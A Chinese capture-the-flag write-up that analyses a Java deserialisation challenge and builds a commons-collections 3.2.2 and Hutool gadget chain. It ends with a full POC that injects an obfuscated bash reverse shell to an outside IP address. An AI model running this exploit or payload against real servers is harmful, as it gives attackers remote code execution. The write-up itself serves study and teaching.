题目链接

源码分析

1、从附件中可以看到两个依赖,分别是common-colletions-3.2.2hutool-all-5.8.18两个版本,首先能够想到的就是常规的CC链子,需要注意的是这里使用的是CC3.2.2,比我们漏洞百出的3.2.1多了一个小版本,换上这个小版本对之前的东西进行复现发现会出现报错,原因是多了一个checkUnsafeSerialization函数,对序列化的类进行了检查,禁止了以下一些类的序列化。

1
2
3
4
5
6
7
8
WhileClosure
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory

2、在看一下源码,只有两个类,一个是MyExpect类,一个是Testapp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.app;
import java.lang.reflect.Constructor;
public class Myexpect
extends Exception {
private Class[] typeparam;
private Object[] typearg;
public Class getTargetclass() {
return this.targetclass;
}
private Class targetclass; public String name; public String anyexcept;
public void setTargetclass(Class targetclass) {
this.targetclass = targetclass;
}
public Object[] getTypearg() {
return this.typearg;
}
public void setTypearg(Object[] typearg) {
this.typearg = typearg;
}
public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
public void setAnyexcept(String anyexcept) {
this.anyexcept = anyexcept;
}
public Class[] getTypeparam() {
return this.typeparam;
}
public void setTypeparam(Class[] typeparam) {
this.typeparam = typeparam;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import cn.hutool.http.server.HttpServerRequest;
import cn.hutool.http.server.HttpServerResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
public static void main(String[] args) {
HttpUtil.createServer(8888)
.addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null) {
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
}
try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception e) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[] { String.class });
myexpect.setTypearg((Object[])new String[] { e.toString() });
myexpect.setTargetclass(e.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception ex) {
result = ex.toString();
}
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}

看到了getAnyexcept()方法中存在类实例化的条件,这与某条CC链中,要使用InstantiateTransformer#transform中的代码类似,很明显是作者故意给的。再看Web页面接收bugstr参数,经过base64解码转化为对象流后直接进行了readObject进行反序列化,因此这里肯定是要通过CC链+getAnyexcept()来触发漏洞,但是怎么触发getAnyexcept()呢?

这里出题人给了一个提示就是cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,通过hutools中的put返回能够触发getAnyexcept,可能就是与fastjson触发get函数有点相似

测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
JSONObject jsonObject = new JSONObject();
jsonObject.put("111", new Myexpect());
}

/*
修改Myexpect.getAnyexpect():

public Object getAnyexcept() throws Exception {
System.out.println("hhhhhh");
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
*/

// 可以看到输出hhhhhh 即成功调用getAnyexcept

通过这里就可以串起整个CC链子,可以通过getAnyexcept实例化TrAXFilter,接而触发templates加载字节码触发RCE。

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

接下来的问题就是通过什么来触发cn.hutool.json.JSONObject.put方法,在LazyMap中,存在LazyMap#get是可以触发map.put 方法来触发

1
2
3
4
5
6
7
8
9
10
11
// LazyMap.get   可以看到先调用transform获得value然后map.put(key,value) 
// 那么这里利用 ConstantTransformer 让value为Myexpect对象即可
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

攻击利用

因此就可以用CC链串起来了。

1
2
3
HashMap#readObject()->HashMap#hash()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get()->cn.hutool.json.JSONObject.put()->Myexpect#getAnyexcept()->TrAXFilter#constructor()
->TemplatesImpl#newTransformer()
->Runtime.exec

整个payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.app;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;


public class MyPOC {
public static void main(String[] args) throws Exception {
byte[] bytes = getTemplates();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});
JSONObject jsonObject = new JSONObject();
ConstantTransformer transformer = new ConstantTransformer(1);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "111");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "1");
jsonObject.remove("111");//if (map.containsKey(key) == false)
setFieldValue(transformer,"iConstant",myexpect);
byte[] serialize = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(serialize));

}

public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mIDE=}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
}
⬆︎TOP